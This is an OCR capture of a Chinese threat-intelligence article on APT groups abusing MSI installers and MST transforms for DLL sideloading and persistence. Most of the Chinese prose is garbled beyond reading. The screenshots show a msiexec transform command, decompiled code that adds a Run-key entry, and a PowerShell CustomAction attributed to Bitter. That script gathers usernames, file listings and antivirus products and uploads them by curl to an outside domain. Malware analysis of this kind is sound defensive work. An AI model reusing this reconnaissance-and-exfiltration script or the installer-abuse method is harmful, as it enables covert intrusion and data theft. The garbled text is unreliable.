mp.weixin.qq.com /s/alaZxCd61gJNI9D01eQzgg

MSI HHEFRFES | FTEARE EAM MST 48055

Vietnam

Thailand ~~Cambodia

[:ll-\ilir\r'mﬂ'E,E1
irups’

2024411 504 H 03:04

(RS

FREBPMERT OERIENEE ZET T RIBAIN 2022 FH I aIFEIR BRI #T E AR TTA
EFER , FHERT MSI XAHERKFHTFIE , KRE MSI TRANSFORMS HAIE L7 2022 FEEHHK
g BX RN E KA ERBARAPTIES R,

AN BAPE APT-Q-31 (BE) AR AWM B EES , ST KNE RS ST L FE TN
AR ERNTFREREES) , BAKRGES TTP Z2AH , BRREHRELE. FieEdAR bxig
BREQEA)A 2023 462K , EAIEF—4F. ARE XBMFRESIPITHENT ¢

5 B R B @

BESBRREAS
REEREAT BHIMG F.LNK WindowsPCHealthCheckSetup.msi et A e
il TRANSFORMS =msGFG.mst B, NAHEEdIE

BATE B A E PEMX RS 2R X REEE XEEDR |, FEFF B =B INEE T o] DASRELY I8 A s &30
FOZEL.
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https://mp.weixin.qq.com/s/alaZxCd61gJNI9D01eQzgg

W S=EF=RE | TS

BRI BELN K #i5IE

S EEE T l | AFRNERIE(19)
MST XHNA
|:] msGaFGE.mst 2024/10/9 17:59 MST 3045 2,156 KB
ﬁ! WindowsPCHealthCheckSetup.msi 2024/10/9 17:52 Windows Install... 13,964 KB
B =il 2024M10/917:59 REA 1KB

FrEEAZUBT Ink AT T AN 41T -
msiexec.exe /qn /i WindowsPCHealthCheckSetup.msi TRANSFORMS=msGFG.mst

Hrh WindowsPCHealthCheckSetup.msi Ak E Fi MM &I kA

2/7



I -

B WindowsPCHealthCheckSetup msi B b

£ B BFEE s SEN OEREE Lamkes [

FEdlE
EREnE HEHZE B el
Microsoft Corpora... shaZbé 2024528151 8:15...
HFEZFEEE 7
= =&

lz* HFEEEE

HHFEELE,
EEBRFRS)
SR |M|'crosoﬁ Corporation
BTt FEE
B EATE: 1202422158 8:15:00

EEUHN)

MSI| TRANSFORMS £¥AESFHAARFSMIBEFREERTINA, MST AEH AT HITHIR—RAH
BN S R #9718 LogSetupAfterinstall #1 LogSetupBeforelnstall , FiZki%H) msi Ta%id F24 KIRAE.

Fill LozSetuphfterInsztall i

1f| LogSetupBeforelnstall 00000001 0008520 z

1| Tl=Callback_0 00000001 8005 7IE20

1f Tl=Callback_1 00aoo001 2005 7CFO

1f| TleCallback_2 00a00001S007EY30

1f| 11EntryFoint 00000001 8005EASD [main entry]

FEIX AN S BR R T DASKERL & AR SMK) DLL RN R AARAE

=== ded T TERAT T Ty

526 w32 = wBdj

527  strecpy(({char *)vo4, "PCHealthCheck™);

528 wi3 = 13i64;

529  String = (wchar_t *}vol;

538 wid = (char *)sub_188843316(0x48uisd);

531  strcpy(wv4, "HKEY_CURRENT _USERZWASOFTWAREW\WMicrosoft\\Windows‘\\CurrentWVersion\\Run"};
532  S5tring = (wchar_t *)w4;

533 vol[e] = 63i64;

334 viB = 63164;

535 sub_18e853sDe(&String, &v02, 1ied4, &Str);
536 if ( String != (wchar_t *)vol )

537 j_j_free(String);

]

AF F e T weniAa A
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K DLL-Sideloading FIZER , NTFINEE payload A—FAR WK RUST 455 , 5 2023 FARKIR
ETHEER RUST 554K Shellcode #, , Bilk T Z BifEFAIEA Shellcode & 51N PE XHHIRAR |
SHRES . HKIEMREFSERAARS N+ /LA KN EMER T Mingw-we4 REBESTTIF
K, XAIMEN 2022 E—EHFERINAE |, M 2024 _FEERETH T ESBIRNMESF AFREITX
RBBE.

Address Length Type  String

‘5| L rdata:00-- 000000LC C Mingw—wEd runtime failure:'n
g L rdata:r00--- 00000034 C L Amingw—wEd /mingw—wEd—librarieswinpthreads/srefrwlock. o
‘2! . rdata:00e 00000035 C L Amingw—wEd mingy—whd—librarieswinpthreads/sro/barrier. o

B RFTBERAALRE 2023 FHEMNERRNES TTP , BASESFREIME.

MSI j% FtE R,
MSI| R B LS R IE B EDE X — B SN BIMT ISR |, A AR AN B th &R
TTHER, AN MSI FIBAFENARE |, R — TREMES N HMM APT EikXt MSI #4{E FBIE .

Media 3%

Bitter, APT-Q-27, APT-Q-15(Darkhotel), CNC % APT LU EELHHFESETE cab &, £ MSI  %id
EPRBHIIT | XMEERAE LNFAFE , RRQUETEEAMIEE MSI NIRSEMERE L | Tt
BERWHERFSHRREA,

£ APT-Q-15.msi - Orca O *
File Edit Tables Transform Tools View Help
D& = B
Tables ~ | File Component FileMame FileSi... Vers.. Langu.. Aftribu.. Seque..
Feature EdgeUpdater.d| EdgeUpdater.d|l EDGEUP~1.DLLIEdgelpdater.dll 1028096 9.0.0.1 1033 2
FeawreComponents EdgeUpdaterB6.dll EdgeUpdater6dil EDGEUP~2.DLL|Edgelpdaterds.dli 920576 9.0.00 1033 o 3
File kppuskumitf kepk #f kppuskum.itf 2539872 0 1
Fort ¥
Tables: 37 File - 3 rows Mo column is selected.
=
O & B
Tables ~ | File Component " FileName “FileSi... Version Lanqua... Aftribu... Seque...
FeatureComponents E486DCT9242DD56BA0738273DCCBATER C E486DCT9242DDS5BA072B273DCCEATES SDXHEL~1.EXE|SDXHelper.exe B31488 512 3
1E23AB0B33950031F239FAFQESET 3837 C 1E23A89B33950031F239FAFOESET3837 WTSAPIZZ.DLLIWTSAPI32.dI 67192 10.0.19041.546 1033 512 1
FileSFPCatalog o 4D331FFECAG83186B5374CD5061BFG9T C 4D331FFECAGB3186853374CD5061BFE97 CRYPT32.DLLICRYPT32.dI 1383144 10.0.19041.1202 20521033 3512 2
Tables: 88 File - 3 rows No column is selected.
=
0@ o B
Tables ~ | File Component FileName FileS... Vers.. Langu.. Attribu.. Seque..
FeatureComponents ADAZTASEA040A9A0A2CE40FO2EDI32CT C A0A27456404DA0A0A2CEAGFIZENDI2CT MSRETE.EXE|msrete. exe 37376 1030 0 512 1
- =
Tables: 87 File - 1 row Mo column is selected.
=
D& = B
Tables ~ | File C FileM FileSize  Version Langu... Altribu... Seque...
EventMapping Telegran.exe Telegran.exe svchostexe 86176 458484618 1033 2 1
Feature AE11720EABERB4E: AE11720EABEEB4E: QAE117~1|0AE11720EABEBB4E: 108 1] 2
FeatureComponents key datas AE11720EABEBRAES key da~1lkey datas 188 o 7
BAA4BGBEDEF1618s AE11729EABEBB4ES 3BAA4B~1|3BAA4BEBESBFIG18s 306300 0 13
leen shorteuts custem.json AE11720EABEBBAE shorte~1 jso|shorteuts-custom json 404 0 10
InstallExecuteSequence Telegram.exe Telegram.exe Telegram.exe 113588840 3.7.00 1033 o 16
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CustomAction &

1£ CustomAction X IFKFREAIY B E SIRME , WEBE B R AEE NIRIETIE) , 20 Bitter ZA2R7E
CustomAction R HHHEE XKL KE=7 Powershell f## 23547 Powershell iz,

=4
File Edit Tables Transform Tools View Help
0= Bz = I
Tables ~ | Action T... Source Target
ContralCondition Al DETECT MODERNWIN 1 aicustact.dll DetectModernWindows
ControlEvent Al SET ADMIN a1 Al ADMIN 1
CreateFolder Al InstallModeCheck 1 aicustact.dll UpdatelnstallMaode
CustomAction Al SHOW LOG 65 aicustact.dll LaunchLogFile
Dia|0_q Al PEFPARFE |IPGRADIE A5 airnstact dll Prenarel lnorade
Directory Al DATA SETTER 51 CustomActionData DigitallySignScript OFlags 60Params OScript #Reclu
Error AT DUWINGRADE g TOTT
EventMapping Al DpiContentScale 1 aicustact.dll DpiContentScale
Feature Al EnableDebuglog 321 aicustact.dll EnableDebuglog
FeatureComponents Al ResolveKnownFolders 1 aicustact.dll esolveKnownFalders
File Al STORE LOCATION 51 ARPINSTALLLOCATION [AP]
InstallExecuteSeguence Al CORRECT INSTALL 2] ALINSTALL _ i
InstallUlSequence I_ PowerShellScriptinline 1 PowerShellScriptLauncher.dll RunPowerShellScrip
LaunchCondition TET APPDIR 307 APPDIR [AppDataFolder]\Wroductiame
ListBox SET SHORTCUTDIR 307 SHORTCUTDIR [AppDataFol \[ProductMName]
U FrE - TEE
(R HEE) B0 EE|(NV OEEIH)
%I_DAE?_SETTER 51 CustombActionData DigitallvSiznScript (Flass Tams [13cript #Requires -version 3
Jaram

Y Let’ s see which Powershell we’re using. Feel free to remove this f
unction Say-Hella() [\ {]
# Powershell Core (pwsh.exe) is used when Requires -version is_egfeater or equal to 6
# By default, Windows PowerShell (powershell.exe) will be usefl. Let’ s see what we’ re using now. ..

# Access Windows Installer properties using Set-Froper
Set-Property -name “PSVersion” -value $host. Versio
["[Istring[\]] $helloMessaze = “Updated Successf
$helloMessaze += If ([\[1Environment[4]]::Is6

and Get-Froperty

nString ()

v" + (Get-Property “nams “P5Version™)

tProcess) [4{] 7 64bit” [4}] else [%{] 7 32bit™ [4}]

fun = $env:USERNAME
fusern = $env COMPUTERNANE*+Feny : USERNANE
fbazewebsite = http [ oo, davisheal theure. com/FOXN/ far. php?ptu="
fwebsite = “Ibasewsbsitefusern”
Jresponse = Invoke-WebRequest -Uri $website
cd C:iusersipublicidocuments
tasklist » list.log
dir “C:husers' fun'desktop” »» list. log
dir “C:husers'fundocuments” »>» list. log
dir “C:husers' fundocuments” >> list. log
feutil fsinfo drives »>» list.log
wmic / namespace:‘\rooti\SecurityCenter? path fntivirusProduct get displaylame >> list. log
curl -X POST -F “file=@C:‘\users'public\documents‘list. log” “http://www. davisheal thcure. com/FOX upl. phpTma=up”
del 1list.log

E]

cmd

MAPT-Q-15 (Darkhotel) 7E&tXI8&E ARIENEESIF | B EENEAEETIR MSI TR A , FARDER
core.dll “,/ﬁ\J]DEIJ CustomAction®H , -5 Media RHIFAKZSAELARLY | core.dll 78 MS| LT FEHHA
LM, REHFE msiexec & 5E— MK FHFENFMEGZ DLL , MEZ] LOLBINS IR,

Condition Al RESTORE LOCATION 65 aicustact.dll Restorelocation

Control Al ResclveKnownFolders 1 aicustact.dll Al ResolveKnownFolders

ControlCondition Al STORE LOCATION 51 ARPINSTALLLOCATION [APPDIR]

ContralEvent SET APPDIR 307 APPDIR [AppDataFolder][Manufacturer]\[ProductNa
CreateFolder SET SHORTCUTDIR 307 SHORTCUTDIR [ProgramMenuFolder][ProductName]
CustomAction TRPPUTR]

Dialog coredll 1 coredll 1 med0121

Directory Al CORRECT TNSTALL a1 Al TNSTALL i

RI0 R 820H kpkm2024.ttf SR LR AE
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[1].https://mgeeky.tech/msi-shenanigans-part-1/

[2].https://intezer.com/blog/incident-response/how-to-analyze-malicious-msi-installer-files/
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